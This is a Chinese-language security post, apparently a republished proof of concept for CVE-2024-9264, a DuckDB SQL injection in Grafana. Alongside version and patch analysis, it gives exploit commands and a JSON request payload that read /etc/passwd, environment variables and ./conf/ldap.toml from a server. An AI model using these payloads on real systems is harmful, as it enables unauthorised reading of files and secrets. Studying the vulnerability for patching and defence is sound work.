【🔔】互联网资料/工具,安全性未知,需要自行研判安全性。
PoC
此 PoC 演示了利用经过身份验证的用户执行 DuckDB SQL 查询并读取文件系统上的任意文件来利用 CVE-2024-9264。
-
安装依赖
pip install -r requirements.txt
-
使用 (File Read Example):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
您还可以执行任意 DuckDB 查询,例如调用getenv来检索环境变量:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
漏洞概览
CVE-2024-9264 is a DuckDB SQL injection vulnerability in Grafana's experimental SQL Expressions feature. Any authenticated user can execute arbitrary DuckDB SQL queries through modified expressions in Grafana dashboards.
影响版本
Grafana OSS and Enterprise versions 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, and 11.2.0 - 11.2.1.
修复建议
11.0.5+security-01 and higher
可利用成都
需要注意的是,虽然此漏洞很严重,但其可利用性取决于 Grafana 服务器上是否安装了 DuckDB 二进制文件。默认情况下,Grafana 不附带安装 DuckDB ,并且没有选项可以直接从 Grafana 界面安装它。
要利用此漏洞,管理员必须手动安装 DuckDB 并将其添加到 Grafana 服务器的$PATH中。如果 DuckDB 不存在,则无法利用 SQL 注入漏洞,从而显着降低在默认安装中成功利用的可能性。
补丁点
Grafana发布了特殊版本来修复此漏洞。要分析补丁,可以使用以下命令来比较更改:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
这表明 SQL 表达式功能只是从易受攻击的版本中删除。
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
"errors"
"github.com/grafana/grafana-plugin-sdk-go/data"
+)
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
return nil, errors.New("not implemented")
+}
+func (db *DB) RunCommands(commands []string) (string, error) {
return "", errors.New("not implemented")
+}
+func (db *DB) QueryFramesInto(name string, query string, frames []* data.Frame, f *data.Frame) error {
return errors.New("not implemented")
+}
+func NewInMemoryDB() *DB {
return &DB{}
+}
该补丁完全删除了 SQL 表达式,防止了被利用的可能性。
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
duckDB := duck.NewInMemoryDB()
duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
The patch removes SQL Expressions entirely, preventing the possibility of exploitation.
Exploiting the Vulnerability
-
启动 Grafana :使用版本 11.0.5 运行 Grafana:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
-
修改表达式:使用“Math”等表达式创建仪表板,使用 Burp 拦截请求,并将datasource类型从math修改为sql 。
HTTP 请求将发送至 /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101。
以下是执行 DuckDB SQL 查询以读取任意文件(如./conf/ldap.toml所需的最小 JSON:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob("./conf/ldap.toml")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
实际利用不需要提供仪表板,这只是查找执行查询的 HTTP 请求的简单方法。
参考链接
-
CVE-2-24-9264 https://github.com/nollium/CVE-2024-9264
-
Grafana 官方通告:https://grafana.com/security/security-advisories/cve-2024-9264/
-
DuckDB函数列表:https://duckdb.org/docs/sql/functions/utility
原文始发于微信公众号(埋藏酱油瓶):[Poc]-CVE-2024-9264 Grafana Post-Auth DuckDB SQL Injection
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论